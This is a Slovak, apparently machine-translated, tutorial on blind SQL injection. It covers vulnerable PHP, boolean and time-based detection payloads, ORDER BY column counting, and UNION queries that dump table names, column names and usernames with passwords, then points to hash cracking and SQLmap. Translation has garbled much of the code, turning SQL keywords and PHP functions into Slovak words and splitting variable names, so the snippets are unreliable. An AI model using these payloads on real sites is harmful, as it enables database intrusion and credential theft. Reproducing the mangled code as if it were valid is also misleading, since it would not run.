Bezpečnosť

Výukový program pre techniky slepého vkladania SQL

Výukový program pre techniky slepého vkladania SQL

Čo je to SQL Injection?

SQL Injection je typ databázového útoku, pri ktorom sa útočník snaží ukradnúť informácie z databázy webovej aplikácie. To môže dokonca vyústiť do vzdialeného spustenia kódu v závislosti od prostredia webových aplikácií a verzie databázy.

SQL Injection sa deje z dôvodu zlej dezinfekcie vstupu používateľa. Ak prijmete vstup od používateľa v niektorom kódovacom jazyku (PHP, ASP.NET) a preniesť ich priamo do databázy servera bez použitia filtra na vstupe, čo môže mať za následok zraniteľnosť SQL Injection.

Napríklad nasledujúci kód PHP je zraniteľný voči útoku SQL Injection, pretože priamo prenáša vstup používateľa do databázy. Útočník môže vytvoriť vlastný škodlivý databázový dopyt na extrakciu údajov z databázy.

// Userinput je uložený v premennej id
$ id = $ _GET ['id'];
// Vstup užívateľa sa vykonáva priamo v databáze
$ getid = "VYBERTE krstné meno, priezvisko FROM používateľov WHERE user_id = '$ id'";
// V prípade chyby alebo úspechu sa výsledky vrátia používateľovi
$ result = mysql_query ($ getid) alebo zomrieť ('
„ . mysql_error () . „
');
$ num = mysql_numrows ($ výsledok);

Na druhej strane je uvedený príklad bezpečného kódu takého kódu na interakciu s databázou. Vezme vstup používateľa, odfiltruje z neho všetky škodlivé znaky a potom ho odovzdá do databázy.

$ id = $ _GET ['id'];
$ id = prúžky ($ id);
$ id = mysql_real_escape_string ($ id);

Normálne vs slepé vkladanie SQL

Normálne vstrekovanie SQL

Ak sa pri bežnom vstrekovaní SQL útočník pokúsi vložiť ako vstup jednu úvodzovku ('), keď sa v databáze vykoná táto úvodzovka, databáza odpovie chybou. Chyba sa vytlačí v prehliadači útočníka.

Kód zodpovedný za túto chybu je

// ak databáza odpovie chybou, vykoná sa funkcia „or die ()“
vytlačiť chybu
$ result = mysql_query ($ getid) alebo zomrieť ('
„ . mysql_error () . „
');

V nástroji Normal SQL Injection môže útočník vidieť výsledky chýb a ich ľahkú identifikáciu a zneužitie.

Slepá injekcia SQL

V prípade Blind SQL Injection sa pri vykonaní škodlivého dotazu, napríklad jednej cenovej ponuky, chyba databázy nezobrazí v prehliadači útočníka alebo sa zobrazí veľmi všeobecne, čo útočník nedokáže ľahko identifikovať a zneužiť.

Za týmto zodpovedajúci back-endový kód je uvedený nižšie

$ result = mysql_query ($ getid); // Odstránené „alebo zomrieť“ na potlačenie chýb mysql

V aplikácii Blind SQL Injection útočník nevidí úplné výsledky, a preto je ťažké tento typ SQLi identifikovať a zneužiť, ale má rovnakú úroveň rizika ako bežné SQLi.

Techniky detekcie slepého vkladania SQL

Zatiaľ čo bežné SQL Injection je možné zistiť zaslaním jednej úvodzovky (') ako vstupu a preskúmaním chyby výstupu, slepé SQL Injection sa nedá zistiť pomocou tejto techniky, pretože nezobrazuje žiadnu chybu SQL. Existuje mnoho techník na detekciu injekcie Blind SQL, niektoré z nich sú uvedené nižšie

Detekcia založená na PRAVOM a NEPRAVOM

Jednou z charakteristík databáz vrátane MySQL je rozdielne správanie pri pravdivých a nepravdivých vyhláseniach. Aj keď databáza nevykazuje žiadne chyby, môžeme sa rozhodnúť použiť výroky True a False. Zvážte nasledujúci scenár,

Nasledujúca stránka je citlivá na Blind SQL injection, jej pravdivým vyhlásením sa zobrazia všetky položky v databáze

1 'alebo 1 = 1 #

Ak zadáte nesprávny dopyt, nebudú sa zobrazovať žiadne údaje.

1 'alebo 1 = 2 #

Aj keď webová stránka nevykazuje žiadne chyby, rozdiel medzi týmito dvoma stránkami hovorí o tom, že naše dotazy sa v databáze úspešne vykonávajú.

Detekcia založená na TIME

Pre oneskorenia existuje funkcia v databázach vrátane MySQL, MS-SQL a ďalších. V našom dotaze môžeme použiť funkciu SLEEP (), ak je odpoveď databázy pomalá, čo znamená, že náš dopyt je úspešne vykonaný a webová stránka je zraniteľná voči Blind SQL Injection.

1 'A spánok (15) #

Existuje ďalšia časovo náročná funkcia „BENCHMARK“, ktorou sa dá oddialiť odpoveď databázy

1 'A SROVNÁRNA (10000000, SHA1 (1337)) #

Vyššie uvedený riadok vykoná v databáze funkciu 10000000 krát SHA1 (), čo spôsobí značné oneskorenie v odpovedi.

Časovo založené slepé vkladanie SQL do iných databáz

MS SQL: ID = 1; čakacie oneskorenie '0: 0:10'-

ORACLE SQL: A [RANDNUM] = DBMS_PIPE.RECEIVE_MESSAGE ('[RANDSTR]', [SLEEPTIME])

PostgreSQL: A [RANDNUM] = (VYBERTE [RANDNUM] Z PG_SLEEP ([SLEEPTIME]))

SQLite: AND [RANDNUM] = LIKE ('ABCDEFG', UPPER (HEX (RANDOMBLOB ([SLEEPTIME] 00000000/2))))

Extrahovanie informácií z databázy

Prvým krokom extrakcie databázy je určenie počtu stĺpcov v databáze. Potom skúste vyhľadať zraniteľné stĺpce a extrahovať ďalšie údaje.

Slepá injekcia SQL sa správa odlišne s rôznymi číslami stĺpcov v dotaze „zoradiť podľa“.

1 'objednať podľa 1 #

Vyššie uvedené tvrdenie je pravdivé, pretože v databáze vždy existuje najmenej 1 stĺpec. Teraz to skúste s veľmi veľkým počtom.

1 'objednať do 10 000 #

Odozva na databázu je iná ako predchádzajúca. Teraz skúste s 2 stĺpcami.

Výrok fungoval, to znamená, že databáza má 2 alebo viac stĺpcov. Teraz skúste s 3 stĺpcami.

1 'objednať do 3 #

Databáza neposlala žiadnu odpoveď, čo znamená, že databáza má iba 2 stĺpce. Teraz sa pokúsime vypísať zoznam tabuliek v databáze, použijeme na to nasledujúci dotaz

1 'spojenie všetko vyberte 1, group_concat (table_name) z informačnej schémy.
tabuľky, kde table_schema = databáza () #

V backendovej databáze „Kniha hostí a používatelia“ sú dve tabuľky. Tabuľka „používatelia“ môže obsahovať používateľské mená a heslá. Ak chcete z tabuľky extrahovať názvy stĺpcov, vložte nasledujúci dotaz.

1 'spojenie všetko vyberte 1, group_concat (názov_sloupca) z informačnej schémy.
stĺpce, kde table_schema = databáza () #

Teraz sme extrahovali názvy stĺpcov, čo zahŕňa stĺpce používateľov a hesiel. Tieto stĺpce obsahujú užívateľské mená zákazníkov a ich heslá.

Teraz sa pokúsime extrahovať údaje pomocou nasledujúceho dotazu

1 'spojenie všetko vyberte 1, group_concat (užívateľ, heslo) od používateľov #

A tak môžete využiť Blind SQL Injection bez toho, aby ste sa spoliehali na chyby. Výstupné heslá sú väčšinu času hašované, čo sa dá dešifrovať pomocou nástrojov ako John The Ripper alebo Hashcat.

Záver:

Blind SQL Injection je typ SQLi, ktorý nevykazuje chyby v databáze alebo reaguje veľmi všeobecnou správou. Preto je veľmi ťažké identifikovať zraniteľnosť Blind SQL Injection na webovej stránke. Po zistení ho môžete ľahko zneužiť manuálnym alebo automatizovaným procesom pomocou SQLmap.

Hry Nainštalujte si najnovšiu strategickú hru OpenRA na Ubuntu Linux
Nainštalujte si najnovšiu strategickú hru OpenRA na Ubuntu Linux
OpenRA je herný engine Libre / Free Real Time Strategy, ktorý obnovuje rané hry z Westwoodu, ako napríklad klasické Command & Conquer: Red Alert. Dist...
Hry Nainštalujte si najnovší Dolphin Emulator pre Gamecube a Wii na Linuxe
Nainštalujte si najnovší Dolphin Emulator pre Gamecube a Wii na Linuxe
Emulátor Dolphin vám umožní hrať vybrané hry Gamecube a Wii na osobných počítačoch Linux (PC). Emulátor Dolphin, ktorý je voľne dostupným emulátorom ...
Hry Ako používať GameConqueror Cheat Engine v Linuxe
Ako používať GameConqueror Cheat Engine v Linuxe
Tento článok obsahuje sprievodcu používaním cheatovacieho modulu GameConqueror v systéme Linux. Mnoho používateľov, ktorí hrajú hry v systéme Windows,...